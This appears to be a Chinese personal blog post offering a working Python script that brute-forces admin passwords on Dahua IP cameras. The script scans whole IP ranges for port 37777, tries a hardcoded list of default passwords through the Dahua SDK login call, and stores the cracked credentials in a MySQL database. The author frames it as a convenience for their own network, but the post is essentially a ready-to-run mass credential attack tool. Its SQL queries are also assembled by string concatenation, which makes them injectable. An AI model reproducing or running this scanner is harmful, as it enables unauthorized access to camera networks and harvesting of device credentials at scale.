当前位置:首页 > DayDayUp > 正文内容

python 大华设备密码爆破

Luz4个月前 (01-25)DayDayUp618

网段内相机密码复杂,一个段可能有好几个不同的密码,登录的时候试密码简直心态炸裂,写了个脚本尝试密码爆破,并保存到数据库

脚本通过调用大华SDK dhnetsdk.dll模块的CLIENT_Login函数实现登录功能

登录成功后函数返回一个不为0的id,可以凭此判断密码是否正确

字典不要放太多密码,否则会锁定

#! -*- coding: utf-8 -*-
#by:Luz
import pymysql
from ctypes import *
import socket
libc = windll.LoadLibrary('./dhnetsdk.dll')
g_bNetSDKInitFlag = False
def InitTest():  #打印模块信息
    print(libc.CLIENT_Init)
    id = create_string_buffer(1024)
    char = create_string_buffer(1024)
    long = create_string_buffer(1024)
    word = create_string_buffer(1024)
    g_bNetSDKInitFlag = libc.CLIENT_Init(DisConnect(id, char, long, word), 0)
    if not g_bNetSDKInitFlag:
        print("Initialize False")
    else:
        print("Initialize client SDK done; \n")
    dwNetSDKVersion = libc.CLIENT_GetSDKVersion()
    print("NetSDK version is %d" % dwNetSDKVersion)
def DisConnect( lLoginID, pchDVRIP, nDVRPort, dwUser):
    print("Call HaveReConnect \n")
    print("lLoginID[ 0x%x ]", lLoginID)
    if pchDVRIP:
        print("pchDVRIP[%s]\n", pchDVRIP)
    print("nDVRPort[%d]\n", nDVRPort)
    print('dwUser[%p]\n', dwUser)
    print( "\n") 
def loginn(ipaddr,port,username,passwd,x,y):   #调用动态链接库实现登录
    code=libc.CLIENT_Login(ipaddr,port,username,passwd,x,y)
    if(str(code)!='0'):
        print(ipaddr.decode(),username.decode(),passwd.decode())
        
    return code
def main():
    passwddict=['admin12345','a12345678@','a12345678'] #密码字典
    #passwddict=['admin12345','a12345678@','a12345678','admin123','admin']
    i=c_int(13)
    ipcamID=c_long()
    InitTest()
    for ip_b in [156,157]:
        for ip_c in range(2,255):
            for ip_d in range(1,255): #遍历BCD段地址
                sk=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sk.settimeout(0.3)
                ip='33.'+str(ip_b)+'.'+str(ip_c)+'.'+str(ip_d)
                try:
                    sk.connect((ip,37777))  #判断是否为大华设备(37777端口),一般不会改且所有相机该端口都开放
                except:
                    print(ip,'未开放')
                    continue
                findflag=0
                for passwd in passwddict:
                    if(loginn(ip.encode(),37777,b'admin',passwd.encode(),0, byref(i))!=0):
                        mysqll=pymysql.connect(host='',user='',password='',database='')
                        findflag=1
                        sqll="""INSERT INTO `cxdw`(`ip`, `username`, `password`) VALUES ("""+"\""+ip+"\""+','+"\""+"admin"+"\""+','+"\""+passwd+"\""+')'  #找到密码,插入数据库
                        cursor=mysqll.cursor()
                        try:
                            cursor.execute(sqll)
                            mysqll.commit()
                        except:
                            print(0)
                        mysqll.close()
                        #print(sqll)
                        break
                if(findflag==0):  #未找到密码,数据库中插入notfound
                    print(ip,"未找到密码")
                    mysqll=pymysql.connect(host='',user='',password='',database='')
                    sqll="""INSERT INTO `cxdw`(`ip`, `username`, `password`) VALUES ("""+"\""+ip+"\""+','+"\""+"admin"+"\""+','+"\""+"notfound"+"\""+')'
                    cursor=mysqll.cursor()
                    try:
                        cursor.execute(sqll)
                        mysqll.commit()
                    except:
                        print(1)
                    mysqll.close()
                #loginn(b"33.156.7.199",37777,b'admin',b'admin12345',0, byref(i)) #loginn函数调用实例,分别为设备ip、端口(默认37777),用户名,密码,0,13(注意为c_int)
                
if __name__ == '__main__':
    main()

1643100777(1).png

运行效果(数据库)

image.png

运行截图(console)

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。